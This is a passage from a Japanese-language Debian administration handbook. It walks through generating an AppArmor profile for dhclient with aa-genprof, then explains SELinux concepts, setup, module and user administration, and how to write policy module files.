wish to confine. See the following wiki page for
more information:
http://wiki.apparmor.net/index.php/Profiles

Please start the application to be profiled in
another window and exercise its functionality now.

Once completed, select the "Scan" option below in
order to scan the system logs for AppArmor events.

For each AppArmor event, you will be given the
opportunity to choose whether the access should be
allowed or denied.

Profiling: /sbin/dhclient

[(S)can system log for AppArmor events] / (F)inish
```

```
Reading log entries from /var/log/audit/audit.log.

Profile:  /sbin/dhclient ❶
Execute:  /usr/lib/NetworkManager/nm-dhcp-helper
Severity: unknown

(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t
    ➥ / (F)inish
P
Should AppArmor sanitise the environment when
switching profiles?

Sanitising environment is more secure,
but some applications depend on the presence
of LD_PRELOAD or LD_LIBRARY_PATH.

(Y)es / [(N)o]
Y
Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.
Complain-mode changes:
WARN: unknown capability: CAP_net_raw

Profile:    /sbin/dhclient ❷
Capability: net_raw
Severity:   unknown

[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish
A
Adding capability net_raw to profile.

Profile:  /sbin/dhclient ❸
Path:     /etc/nsswitch.conf
Mode:     r
Severity: unknown

  1 - #include <abstractions/apache2-common>
  2 - #include <abstractions/libvirt-qemu>
  3 - #include <abstractions/nameservice>
  4 - #include <abstractions/totem>
 [5 - /etc/nsswitch.conf]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)
    ➥ inish / (M)ore
3

Profile:  /sbin/dhclient
Path:     /etc/nsswitch.conf
Mode:     r
Severity: unknown
```

```
  1 - #include <abstractions/apache2-common>
  2 - #include <abstractions/libvirt-qemu>
 [3 - #include <abstractions/nameservice>]
  4 - #include <abstractions/totem>
  5 - /etc/nsswitch.conf
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)
    ➥ inish / (M)ore
A
Adding #include <abstractions/nameservice> to profile.

Profile:  /sbin/dhclient
Path:     /proc/7252/net/dev
Mode:     r
Severity: 6

  1 - /proc/7252/net/dev
 [2 - /proc/*/net/dev]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)
    ➥ inish / (M)ore
A
Adding /proc/*/net/dev r to profile

[...]
Profile:  /sbin/dhclient ❹
Path:     /run/dhclient-eth0.pid
Mode:     w
Severity: unknown

 [1 - /run/dhclient-eth0.pid]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)
    ➥ inish / (M)ore
N

Enter new path: /run/dhclient*.pid

Profile:  /sbin/dhclient
Path:     /run/dhclient-eth0.pid
Mode:     w
Severity: unknown

  1 - /run/dhclient-eth0.pid
 [2 - /run/dhclient*.pid]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)
    ➥ inish / (M)ore
A
Adding /run/dhclient*.pid w to profile

[...]
Profile:  /usr/lib/NetworkManager/nm-dhcp-helper ❺
```

```
Path:     /proc/filesystems
Mode:     r
Severity: 6

 [1 - /proc/filesystems]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)
    ➥ inish / (M)ore
A
Adding /proc/filesystems r to profile

= Changed Local Profiles =

The following local profiles were changed. Would you like to save them?

 [1 - /sbin/dhclient]
  2 - /usr/lib/NetworkManager/nm-dhcp-helper
(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean
    ➥ profiles / Abo(r)t
S
Writing updated profile for /sbin/dhclient.
Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.

Profiling: /sbin/dhclient

[(S)can system log for AppArmor events] / (F)inish
F
Setting /sbin/dhclient to enforce mode.
Setting /usr/lib/NetworkManager/nm-dhcp-helper to enforce mode.

Reloaded AppArmor profiles in enforce mode.

Please consider contributing your new profile!
See the following wiki page for more information:
http://wiki.apparmor.net/index.php/Profiles

Finished generating profile for /sbin/dhclient.
```

aa-genprof プログラムはユーザが入力した操作文字を再表示しないという点に注意してください。しかし、上に挙げた例では説明を明確に行うために、ユーザが入力した操作文字をその直後に表記しています。

❶ 最初に別のプログラムである nm-dhcp-helper の実行イベントが検出されています。この場合、ユーザに対していくつかの選択肢が示されます。ユーザは dhclient のプロファイルを適用して nm-dhcp-helper を実行したり (「Inherit」を選んだ場合)、専用のプロファイルを適用して nm-dhcp-helper を実行したり (「Profile」と「Named」を選んだ場合。両者の違いは任意のプロファイル名を使用する可能性があるか否かです)、dhclient のサブプロファイルを適用して nm-dhcp-helper を実行したり (「Child」を選んだ場合)、プロファイルを適用せずに nm-dhcp-helper を実行したり (「Unconfined」を選んだ場合)、nm-dhcp-helper の実行を拒否したり (「Deny」を選んだ場合) することも可能です。

ここでまだ存在しない専用プロファイルを適用して nm-dhcp-helper を実行することを選んだ場合、aa-genprof ツールは不足しているプロファイルを作成し、さらにこのプロファイルに対する規則を提案します。この点に注意してください。

❷ カーネルレベルでは root ユーザの特権が「capability」に分割されます。dhclient からのシステムコールが特定の「capability」を要求する場合、AppArmor はプロファイルの中でプログラムがその「capability」を使うことを許可されているかを確認します。

❸ ここで dhclient は /etc/nsswitch.conf を読み込もうとしています。aa-genprof は複数の「abstraction」を介して /etc/nsswitch.conf の読み込みが可能になることを検出し、代替選択肢として該当する「abstraction」を挙げています。abstraction とは通常同時に使われる複数のリソースをまとめた一連のアクセス規則を再利用できる形で提供するものです。今回の場合、/etc/nsswitch.conf ファイルは一般に C 言語ライブラリのネームサービスに関連する関数を通じてアクセスされます。ここでは最初に「3」を入力して「#include <abstractions/nameservice>」を選択し、その後に「A」を入力して/etc/nsswitch.conf の読み込みを許可しています。

❹ ここで dhclient は /run/dhclient-eth0.pid ファイルを作成しようとしています。/run/dhclient-eth0.pid だけの作成を許可した場合、ユーザが eth0 以外のネットワークインターフェースに対して dhclient を実行する際に dhclient が動作しなくなるでしょう。このため、ここでは「New」を選択してファイル名をより一般的な「/run/dhclient*.pid」に変更した後、「Allow」を選択してこの規則を適用しています。

❺ このアクセス要求に対するアクセス規則は dhclient 専用のプロファイルではなく、/usr/lib/NetworkManager/nm-dhcp-helper 専用のプロファイルを適用して nm-dhcp-helper を実行することを許可した際に作成された新しいプロファイルに組み込まれる点に注意してください。

ログ記録されたすべてのイベントを検討した後、aa-genprof プログラムは実行中に作成されたすべてのプロファイルを保存することを提案します。今回の場合、2 つのプロファイルを「Save」を使って一度に保存した後 (1 つずつ保存することも可能です)、「Finish」でプログラムを終了しています。

実際のところ aa-genprof は aa-logprof の洗練されたラッパーに過ぎません。すなわち aa-genprof は空のプロファイルを作成し、complain モードでそのプロファイルを読み込み、aa-logprof を実行しているだけです。aa-logprof はログ記録されたプロファイル違反に基づいてプロファイルを更新するツールです。このため、たった今作成したプロファイルを改良するために aa-genprof をもう一度実行することが可能です。

完全なプロファイルを作成したいならば、対象のプログラムに対するすべての合法的な使い方を試してみるべきです。dhclient の場合、NetworkManager を介して実行したり、ifupdown を介して実行したり、手作業で実行したりすることを意味します。こうすることで最終的に作成される /etc/apparmor.d/sbin.dhclient は完全なプロファイルに近いものとなるでしょう。

```
# Last Modified: Tue Sep  8 21:40:02 2015
#include <tunables/global>

/sbin/dhclient {
  #include <abstractions/base>
  #include <abstractions/nameservice>

  capability net_bind_service,
```

```
  capability net_raw,

  /bin/dash r,
  /etc/dhcp/* r,
  /etc/dhcp/dhclient-enter-hooks.d/* r,
  /etc/dhcp/dhclient-exit-hooks.d/* r,
  /etc/resolv.conf.* w,
  /etc/samba/dhcp.conf.* w,
  /proc/*/net/dev r,
  /proc/filesystems r,
  /run/dhclient*.pid w,
  /sbin/dhclient mr,
  /sbin/dhclient-script rCx,
  /usr/lib/NetworkManager/nm-dhcp-helper Px,
  /var/lib/NetworkManager/* r,
  /var/lib/NetworkManager/*.lease rw,
  /var/lib/dhcp/*.leases rw,

  profile /sbin/dhclient-script flags=(complain) {
    #include <abstractions/base>
    #include <abstractions/bash>

    /bin/dash rix,
    /etc/dhcp/dhclient-enter-hooks.d/* r,
    /etc/dhcp/dhclient-exit-hooks.d/* r,
    /sbin/dhclient-script r,

  }
}
```

14.5. SELinux の紹介

14.5.1. 原理

SELinux (**Security Enhanced Linux**) は Linux の LSM (**Linux Security Modules**) インターフェース上に設けられた**強制アクセス制御**システムです。具体的に言えば、カーネルはそれぞれのシステムコールの前にシステムコールを発行したプロセスが指定された操作に対する権限を与えられているか SELinux に問い合わせます。

SELinux はまとめて**ポリシー**として知られているルール群を使い、操作を許可したり禁止したりします。これらのルールの作成は難しいです。幸いなことに、設定作業の大部分を避けるために 2 種類の標準的なポリシー (**targeted** と **strict**) が提供されています。

SELinux を使うと、権限管理が伝統的な Unix システムとは全く違ったものになります。プロセスの権限は SELinux の**セキュリティコンテキスト**に依存します。SELinux の**セキュリティコンテキスト**はプロセスを開始したユーザの **SELinux ユーザ名**、**SELinux ロール**、ユーザがプロセス開始時点で持っていた **SELinux ドメイン**によって定義されます。正しく言えばプロセスの権限は SELinux ドメインに依存しますが、SELinux ド

メイン間の遷移は SELinux ロールによって制御されます。最後に SELinux ロール間の遷移の可否は SELinux ユーザ名に依存します。

図 14.3　セキュリティコンテキストと Unix ログイン名

具体的に言えば、ログイン時にユーザはデフォルトのセキュリティコンテキストを割り当てられます (セキュリティコンテキストはユーザに与える SELinux ロールに依存します)。セキュリティコンテキストは現在の SELinux ドメインを定義し、ここで定義された SELinux ドメインが新しい子プロセスに割り当てられます。ユーザが現在の SELinux ロールと SELinux ロールに対応する SELinux ドメインを変更したい場合、`newrole -r` **`role_r`** `-t` **`domain_t`** を実行しなければいけません (通常 SELinux ロールと SELinux ドメインは一対一に対応しているため、`-t` パラメータは省略されることが多いです)。`newrole` コマンドはユーザに自分のパスワードを入力させることで認証を行います。この機能のおかげで、プログラムが自動的に SELinux ロールを切り替えることを禁止できます。SELinux ロールの変更を行えるのは、ユーザが SELinux ポリシーに基づいて SELinux ロールの変更を許可されている場合に限ります。

権限がすべての**オブジェクト** (ファイル、ディレクトリ、ソケット、デバイスなど) に適用されないのは明らかです。権限はオブジェクトによって異なります。これを実現するために、それぞれのオブジェクトは **SELinux タイプ**と結び付けられています (これをラベリングと呼びます)。このため SELinux ドメインの権限はオブジェクトの SELinux タイプ (および、与えられた SELinux タイプによって間接的にラベリングされたすべてのオブジェクト) に対する一連の許可された (されていない) 操作を使って表現されます。

EXTRA

SELinux ドメインと SELinux タイプは同じ

内部的なことを言えば、SELinux ドメインは SELinux タイプに過ぎません。しかし SELinux タイプはプロセスにのみ適用されます。このため、SELinux ドメインはオブジェクトの SELinux タイプと同様に _t を末尾に付けられています。

デフォルトで、プログラムはプログラムを起動したユーザに割り当てられた SELinux ドメインを継承しますが、標準的な SELinux のポリシーは多くの重要なプログラムが専用の SELinux ドメインで実行されることを要求しています。これを成し遂げるために、重要なプログラムの実行ファイルは専用の SELinux タイプで

ラベリングされています (たとえば、ssh は ssh_exec_t でラベリングされています。ssh プログラムが起動すると ssh プログラムは ssh_t SELinux ドメインに自動的に切り替わります)。この自動 SELinux ドメイン遷移メカニズムによって、それぞれのプログラムに対して必要な権限だけを認めることが可能です。これが SELinux の基本原則です。

図 14.4　SELinux ドメイン間の自動遷移

IN PRACTICE

セキュリティコンテキストの検索

あるプロセスのセキュリティコンテキストを表示するには、ps の Z オプションを使うべきです。

```
$ ps axZ | grep vstfpd
system_u:system_r:ftpd_t:s0   2094 ?    Ss   0:00 /usr/sbin/
    ➥ vsftpd
```

最初のフィールドをコロンで区切ると、SELinux ユーザ名、SELinux ロール、SELinux ドメイン、MCS レベルの情報がわかります。MCS レベル (**Multi-Category Security**) は機密性保護ポリシーのセットアップに干渉するパラメータで、ファイルの重要性に基づいてファイルへのアクセスを管理するものです。本書では MCS の機能を説明しません。

シェルから現在のセキュリティコンテキストを表示するには、`id -Z` を実行するべきです。

```
$ id -Z
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

最後に、ファイルに割り当てられた SELinux タイプを表示するには `ls -Z` を使います。

```
$ ls -Z test /usr/bin/ssh
unconfined_u:object_r:user_home_t:s0 test
     system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh
```

ファイルに割り当てられた SELinux ユーザ名と SELinux ロールには特別な重要性がない (一切使われない) 点は注目に値しますが、統一性を保つ目的ですべてのオブジェクトは完全なセキュリティコンテキストを割り当てられています。

14.5.2. SELinux のセットアップ

SELinux のサポートは Debian の提供する標準的なカーネルに組み込まれています。コア Unix ツールは SELinux をサポートしており、修正は必要ありません。このため、SELinux を有効化することは比較的簡単です。

`apt install selinux-basics selinux-policy-default` コマンドで、SELinux システムを設定するために必要なパッケージが自動的にインストールされます。

CAUTION

jessie にはリファレンスポリシーが含まれません

残念なことに **refpolicy** ソースパッケージのメンテナがリリースクリティカルバグを修正しなかったため、**refpolicy** ソースパッケージは jessie から削除されました。このため、現在のところ **selinux-policy-*** パッケージは jessie に含まれず、別の場所から **selinux-policy-*** パッケージを入手してインストールする必要があります。うまくいけば、**selinux-policy-*** パッケージはポイントリリースの 1 つか jessie-backports に含まれることでしょう。それまでの間は、不安定版から **selinux-policy-*** パッケージを入手することが可能です。

この悲しい状況は少なくとも SELinux は Debian の開発版を使っているユーザおよび開発者から高評価を得られないでいることを示しています。そんなわけで、SELinux を使うことを決めた場合、デフォルトポリシーが完全に動くことを期待せず、自分の要求に適したポリシーを作るまでにかなりの時間を費やす覚悟が必要です。

selinux-policy-default パッケージには、標準的なルールが含まれています。デフォルトで、このポリシーは広範囲にわたって提供されるサービスへのアクセスを制限するだけです。ユーザセッションは制限されませんから、SELinux が正当なユーザ操作を妨害することはほとんどありません。しかしながら、このポリシーはマシンで実行されているシステムサービスのセキュリティを強化します。古い「strict」ルールと同じポリシーをセットアップするには、unconfined モジュールを無効化しなければいけません (モジュール管理に関してはこの節でさらに詳しく説明しています)。

selinux-policy-default パッケージをインストールしたら、すべての利用できるファイルをラベリングするべきです (これはファイルに SELinux タイプを割り当てることを意味します)。この操作は `fixfiles relabel` を使って手作業で開始しなければいけません。

これで SELinux システムの準備が整いました。SELinux を有効化するには、selinux=1 security=selinux パラメータを Linux カーネルに追加する必要があります。audit=1 パラメータを指定した場合、SELinux のログ記録が有効化され、すべての拒否された操作が記録されます。最後に enforcing=1 パラメータを指定した場合、ルールをアプリケーションに強制します。enforcing=1 パラメータを指定しなかった場合、SELinux はデフォルトの **permissive** モードで動作します。**permissive** モードの場合、拒否された操作はログ記録され、実行されます。このため、GRUB ブートローダ設定ファイルを変更して必要なパラメータを追加するべきです。これを簡単に行うには、`/etc/default/grub` の中の GRUB_CMDLINE_LINUX 変数に必要なパラメータを追加し、`update-grub` を実行します。SELinux は再起動後に動作状態になります。

`selinux-activate` スクリプトを使うことで、GRUB ブートローダ設定ファイルに対する変更操作が自動化され、次回起動時にラベリングが強制されます (強制的にラベリングすることで SELinux がまだ動作していなかった時とラベリングの実行中にラベリングされていないファイルが新しく作成されることを避けることが可能です)。この点は注目に値します。

14.5.3. SELinux システムの管理

selinux-policy-default パッケージに含まれる SELinux ポリシーはモジュール式のルール群で、**selinux-policy-default** パッケージはインストール時にインストール済みのサービスに基づいて対応するモジュールを自動的に検出して有効化します。そのため、システムは SELinux ポリシーをすぐに利用できるようになります。しかしながら、SELinux ポリシーを設定した後にサービスをインストールした場合、対応するモジュールを手作業で有効化する必要があります。これを行うのが `semodule` コマンドです。さらに、管理者はそれぞれのユーザに与える SELinux ロールを定義する能力を持っていなければいけません。これは `semanage` を使って行います。

このため `semodule` と `semanage` コマンドは `/etc/selinux/default/` に保存されている現在の SELinux 設定を変更するために使われます。`/etc/` に配置されている SELinux 以外の設定ファイルと異なり、SELinux の設定ファイルはすべて手作業で修正されなければいけません。管理者は SELinux 設定ファイルを編集するために設計されたプログラムを使うべきです。

GOING FURTHER

追加的文書

NSA は SELinux に関する公式の文書を提供していないので、それを埋め合わせるためにコミュニティが wiki を設置しています。wiki には多くの情報が寄せ集められていますが、多くの SELinux 貢献者が Fedora ユーザである点に気が付くでしょう (Fedora は SELinux をデフォルトで有効化しています)。そのため、wiki の文書は Fedora の問題の対処に特化しています。

➨ `http://www.selinuxproject.org`

管理者ならば、SELinux に関する専用の Debian wiki ページおよび Russell Coker のブログを見るべきです。Russell Coker は SELinux サポートに取り組んでいる、最も活動的な Debian 開発者の 1 人です。

➨ `http://wiki.debian.org/SELinux`

➨ `http://etbe.coker.com.au/tag/selinux/`

SELinux モジュールの管理

利用できる SELinux モジュールは `/usr/share/selinux/default/` ディレクトリに保存されています。現在の設定の中で SELinux モジュールの 1 つをインストールするには、`semodule -i` **`module.pp.bz2`** を使うべきです。**pp.bz2** 拡張子は bzip2 で圧縮された**ポリシーパッケージ**を意味しています。

現在の設定からモジュールを削除するには `semodule -r` **`module`** を使います。最後に、`semodule -l` コマンドは現在インストールされているモジュールとそのバージョンをリストします。モジュールを選択的に有効化するには `semodule -e`、無効化するには `semodule -d` を使います。

```
# semodule -i /usr/share/selinux/default/abrt.pp.bz2
# semodule -l
abrt    1.5.0   Disabled
accountsd       1.1.0
acct    1.6.0
[...]
# semodule -e abrt
# semodule -d accountsd
# semodule -l
abrt    1.5.0
```

```
accountsd       1.1.0   Disabled
acct    1.6.0
[...]
# semodule -r abrt
# semodule -l
accountsd       1.1.0   Disabled
acct    1.6.0
[...]
```

semodule は -n オプションを付けない限り、すぐさま新しい設定を読み込みます。semodule プログラムがデフォルトで現在の設定に対して操作を行う点は注目に値します (現在の設定は /etc/selinux/config 内の SELINUXTYPE 変数によって表されます)。しかし -s オプションを使えば、他の設定に対して操作を行うことも可能です。

ユーザの身元管理

ユーザはログイン時に毎回、SELinux ユーザ名を割り当てられます。SELinux ユーザ名はユーザに与える SELinux ロールを定義します。semanage コマンドを使えば、2 種類 (Unix ログイン名から SELinux ユーザ名へ、SELinux ユーザ名から SELinux ロールへ) の対応付けを設定することが可能です。

semanage コマンドはサブコマンドごとに管理する要素が決められています。サブコマンドの構文はすべてのサブコマンド間で類似しているとは言うものの、管理者は semanage(8) マニュアルページを読むべきです。すべてのサブコマンドに対して共通のオプションが存在します。たとえば -a は追加、-d は削除、-m は修正、-l はリスト、-t は SELinux タイプ (または SELinux ドメイン) の指定を表します。

semanage login -l は Unix ログイン名と SELinux ユーザ名の現在の対応付けをリストします。明確なエントリを設定されていない Unix ログイン名を持つユーザは __default__ という Unix ログイン名に対応する SELinux ユーザ名を割り当てられます。semanage login -a -s user_u **user** コマンドを使うことで、**user** で指定した Unix ログイン名を持つユーザに **user_u** で指定した SELinux ユーザ名を割り当てます。最後に、semanage login -d **user** は **user** で指定した Unix ログイン名を持つユーザに関連付けられたエントリを削除します。

```
# semanage login -a -s user_u rhertzog
# semanage login -l

ログイン名                  SELinux ユーザー          MLS/MCS 範囲            サービス

__default__           unconfined_u          SystemLow-SystemHigh *
rhertzog              user_u                SystemLow            *
root                  unconfined_u          SystemLow-SystemHigh *
system_u              system_u              SystemLow-SystemHigh *
# semanage login -d rhertzog
```

semanage user -l は SELinux ユーザ名と許可された SELinux ロールの対応付けをリストします。新しい SELinux ユーザ名を追加する場合、SELinux ユーザ名に対応する SELinux ロールと、個人ファイル (/home/**user**/*) に SELinux タイプを割り当てるために使われるラベリングプレフィックスが必要になります。このプレフィックスは user、staff、sysadm のどれか 1 つを選ばなければいけません。「staff」プレフィッ

クスを選んだ場合、ファイルの SELinux タイプは「staff_home_dir_t」になります。新しい SELinux ユーザ名を作成するには semanage user -a -R **roles** -P **prefix identity** を使います。最後に、SELinux ユーザ名を削除するには semanage user -d **identity** を使います。

```
# semanage user -a -R 'staff_r user_r' -P staff test_u
# semanage user -l

                ラベリング       MLS/       MLS/
SELinux ユーザー    プレフィックス    MCS レベル    MCS 範
    囲                          SELinux ロール

root            sysadm     SystemLow  SystemLow-SystemHigh  staff_r sysadm_r system_r
staff_u         staff      SystemLow  SystemLow-SystemHigh  staff_r sysadm_r
sysadm_u        sysadm     SystemLow  SystemLow-SystemHigh  sysadm_r
system_u        user       SystemLow  SystemLow-SystemHigh  system_r
test_u          staff      SystemLow  SystemLow             staff_r user_r
unconfined_u    unconfined SystemLow  SystemLow-SystemHigh  system_r unconfined_r
user_u          user       SystemLow  SystemLow             user_r
# semanage user -d test_u
```

ファイルコンテキスト、ポート、ブール値の管理

各 SELinux モジュールにはファイルラベリングルール群が含まれますが、特別な場合に応じてラベリングルールをカスタマイズすることも可能です。たとえば、ウェブサーバに /srv/www/ ファイル階層内のファイルを読むことを許可する場合、semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?" を実行し、その後 restorecon -R /srv/www/ を実行します。semanage fcontext -a で新しいラベリングルールを登録し、restorecon で現在のラベリングルールに基づいてファイルの SELinux タイプを再設定します。

同様に TCP/UDP ポートをラベリングして、ポート番号とそのポートのリッスンを許可するデーモンを対応付けることが可能です。たとえば、ウェブサーバがポート 8080 番をリッスンすることを可能にしたい場合、semanage port -m -t http_port_t -p tcp 8080 を実行します。

一部の SELinux モジュールでは、ブール値オプションを使ってデフォルトルールの挙動を微調整することが可能です。getsebool ユーティリティを使ってブール値オプションを調査します (getsebool **boolean** は 1 つのオプションを表示し、getsebool -a はすべてのオプションを表示します)。setsebool **boolean value** コマンドはブール値オプションの現在の値を変更します。-P オプションを付けるとこの修正が永続的なものになります。つまり、新しい値がデフォルトになり、再起動後も適用されることになります。以下の例では、ウェブサーバにホームディレクトリに対するアクセス権を与えています (ユーザが個人的なウェブサイトを ~/public_html/ の下に作る場合、この設定を使うと便利です)。

```
# getsebool httpd_enable_homedirs
httpd_enable_homedirs --> off
# setsebool -P httpd_enable_homedirs on
# getsebool httpd_enable_homedirs
httpd_enable_homedirs --> on
```

14.5.4. ルールの適用

SELinux ポリシーはモジュール式なので、モジュールの用意されていない (場合によっては特注の) アプリケーション用に新しいモジュールを開発する方法を知っておくと良いでしょう。新しいモジュールは**リファレンスポリシー**を満足させなければいけません。

新しいモジュールを作成するには、**selinux-policy-dev** および **selinux-policy-doc** パッケージが必要です。**selinux-policy-doc** パッケージには、標準的なルールに関する文書 (`/usr/share/doc/selinux-policy-doc/html/`) と新しいモジュールを作成するためのテンプレートとして使えるサンプルファイルが含まれます。これらのファイルをインストールし、さらにしっかりと勉強してください。

```
$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile
$ cp /usr/share/doc/selinux-policy-doc/example.fc ./
$ cp /usr/share/doc/selinux-policy-doc/example.if ./
$ cp /usr/share/doc/selinux-policy-doc/example.te ./
```

`.te` ファイルは最も重要なファイルです。`.te` ファイルがルールを定義します。`.fc` ファイルは「ファイルコンテキスト」を定義します。「ファイルコンテキスト」はこのモジュールに関連するファイルに割り当てる SELinux タイプを意味します。`.fc` ファイルに含まれるデータはファイルのラベリング中に使われます。最後に、`.if` ファイルはモジュールのインターフェースを定義します。つまり、モジュールのインターフェースは一連の「公開関数」で、他のモジュールはこの関数を使ってここで作成されたモジュールと情報をやり取りします。

.fc ファイルの書き方

以下の例を読めば、`.fc` ファイルの構造を十分に理解することが可能です。複数のファイルおよび完全なディレクトリツリーに対して同じセキュリティコンテキストを割り当てるために、正規表現を使うことが可能です。

例 14.2　example.fc ファイル

```
# myapp 実行ファイルのファイルコンテキスト定義:
# ラベル: system_u:object_r:myapp_exec_t
# MLS sensitivity: s0
# MCS categories: <none>

/usr/sbin/myapp          --       gen_context(system_u:object_r:myapp_exec_t,s0)
```

.if ファイルの書き方

以下の例では、1 番目のインターフェース (「myapp_domtrans」) はアプリケーションを実行できるユーザを制御します。2 番目のインターフェース (「myapp_read_log」) はアプリケーションのログファイルに対する読み込み権限を制御します。

それぞれのインターフェースは `.te` ファイルに組み込むことが可能な有効なルール群を生成しなければいけません。そんなわけで、管理者は (gen_require マクロを使って) 使用するすべての SELinux タイプを宣言し、

権限を取得するために標準的な指示文を使うべきです。しかしながら、他のモジュールが提供するインターフェースを使うことが可能な点に注意してください。次の節では、これらの権限を表現する方法についてより詳しく説明します。

例 14.3　example.if ファイル

```
## <summary>myapp ポリシーの一例</summary>
## <desc>
##      <p>
##              ここには myapp に関する追加説明を書きます。
##              <desc> タグの中では書式指定をするために
##              <p>、<ul>、<ol> html タグを使えます。
##      </p>
##      <p>
##              本ポリシーは myapp の以下に示す機能を動作させるために必要です。
##              <ul>
##              <li>機能 A</li>
##              <li>機能 B</li>
##              <li>機能 C</li>
##              </ul>
##      </p>
## </desc>
#

########################################
## <summary>
##      myapp を実行するために SELinux ドメインを遷移させます。
## </summary>
## <param name="domain">
##      遷移を許可する SELinux ドメイン。
## </param>
#
interface(`myapp_domtrans',`
        gen_require(`
                type myapp_t, myapp_exec_t;
        ')

        domtrans_pattern($1,myapp_exec_t,myapp_t)
')

########################################
## <summary>
##      myapp のログファイルを読み込みます。
## </summary>
## <param name="domain">
##      myapp のログファイルの読み込みを許可する SELinux ドメイン。
## </param>
#
interface(`myapp_read_log',`
```

```
        gen_require(`
                type myapp_log_t;
        ')

        logging_search_logs($1)
        allow $1 myapp_log_t:file r_file_perms;
')
```

DOCUMENTATION

リファレンスポリシーに関する説明

SELinux の**リファレンスポリシー**はフリーソフトウェアプロジェクトのように発展しています。すなわち、ボランティアの貢献が発展を支えています。このプロジェクトは Tresys によってホストされています。Tresys は SELinux 分野における最も活発な企業の 1 つです。Tresys の wiki には、ルールを構築する方法と新しいルールを作成する方法が説明されています。

➡ https://github.com/TresysTechnology/refpolicy/wiki/GettingStarted

.te ファイルの書き方

それでは example.te を見てみましょう。

GOING FURTHER

m4 マクロ言語

適切にポリシーを構築するために、SELinux 開発者はマクロコマンドプロセッサを使いました。数多くの類似した **allow** 指示文を複製する代わりに、SELinux 開発者は高レベル論理を取り扱う「マクロ関数」を作成しました。「マクロ関数」のおかげで、ポリシーがとても読みやすくなりました。

具体的に言えば、m4 は複数のルール群から構成されるポリシーを構築するために使われます。マクロ関数は複数のルール群を 1 つの高レベル論理にまとめたものです。つまり、m4 はマクロ関数で記述された高レベル論理を **allow** 指示文の巨大データベースに展開します。

example.if ファイルの例で使用した SELinux「interface」は単なるマクロ関数であり、m4 によるコンパイル時にルール群に置換されます。同様に、実際のところいくつかのパーミッションは単なるパーミッションの集合であり、m4 によるコンパイル時にパーミッションの集合に置換されます。

```
policy_module(myapp,1.0.0) ❶

########################################
#
# SELinux タイプと SELinux ドメインの宣言
#

type myapp_t; ❷
type myapp_exec_t;
domain_type(myapp_t)
domain_entry_file(myapp_t, myapp_exec_t) ❸

type myapp_log_t;
logging_log_file(myapp_log_t) ❹
```

```
type myapp_tmp_t;
files_tmp_file(myapp_tmp_t)

########################################
#
# myapp のローカルポリシー
#

allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; ❺

allow myapp_t myapp_tmp_t:file manage_file_perms;
files_tmp_filetrans(myapp_t,myapp_tmp_t,file)
```

❶ モジュールは名前とバージョン番号で識別されます。policy_module マクロは必須です。

❷ モジュールによって新しい SELinux タイプが導入される場合、type 文を使って新しい SELinux タイプを必ず宣言してください。多くの無駄な権限を与えるのでなく、必要な SELinux タイプをすべて作成してください。遠慮はいりません。

❸ ここでは domain_type および domain_entry_file インターフェースを使って、myapp_exec_t とラベリングされた実行ファイルによって使われるプロセスの SELinux ドメインとして myapp_t SELinux タイプを定義しています。こうすることで、暗黙のうちにオブジェクトに exec_type 属性が追加されます。このおかげで、他のモジュールは myapp_exec_t とラベリングされたプログラムを実行する権限を取得することが可能になります。たとえば userdomain モジュールを使うことで、user_t、staff_t、sysadm_t SELinux ドメインを持つプロセスが自分を実行することが可能になります。他の閉じ込められたアプリケーションの SELinux ドメインは、その SELinux ドメインに割り当てられたルールが同様の権限を取得しない限り (たとえば dpkg_t SELinux ドメインを持つ `dpkg` がこの場合に相当します)、myapp_exec_t とラベリングされたプログラムを実行する権限を持ちません。

❹ logging_log_file はリファレンスポリシーによって提供されるインターフェースです。これは指定された SELinux タイプでラベリングされたファイルはその SELinux タイプに対応するルールから恩恵を受ける義務があるログファイルであることを表します (たとえば、`logrotate` がログファイルを処理することを可能にするために、`logrotate` に権限を与える場合に使います)。

❺ allow 指示文は操作を許可するために使われる基本的な指示文です。1 番目のパラメータはこの操作を実行することを許されたプロセスの SELinux ドメインです。2 番目のパラメータは 1 番目のパラメータで指定した SELinux ドメインのプロセスが操作することが可能なオブジェクトを定義します。2 番目のパラメータは「**type**:**class**」の形で定義します。ここで **type** は SELinux タイプで **class** はオブジェクトの種類 (ファイル、ディレクトリ、ソケット、名前付きパイプなど) です。最後に、3 番目のパラメータはパーミッション (許可された操作) を表現します。

パーミッションは許可された操作の一式として定義され、以下のテンプレートに従います。すなわち { **operation1 operation2** } です。しかしながら、最も役に立つパーミッションを表すマクロを使うことも可能です。`/usr/share/selinux/devel/include/support/obj_perm_sets.spt` には、最も役に立つパーミッションのマクロが説明されています。

以下のウェブページでは、オブジェクトクラスと与えられるパーミッションの比較的包括的なリストが載せられています。

➡ http://www.selinuxproject.org/page/ObjectClassesPerms

さらに、対象のアプリケーションやサービスが正しく動くために必要な最低限のルールセットを見つけ出さなければいけません。これを行うには、アプリケーションの動作方法とアプリケーションが管理および生成するデータの種類に関する詳しい知識が必要です。

しかしながら、経験的なアプローチが使えます。対応するオブジェクトに対する正しいラベリングが終わっていれば、アプリケーションを permissive モードで使うことが可能です。そして permissive モードでは、禁止されるであろう操作はログ記録されて実行されます。このログを解析することで、許可する操作を識別することが可能になります。以下は permissive モードでアプリケーションを動かした場合に記録されるログエントリの例です。

```
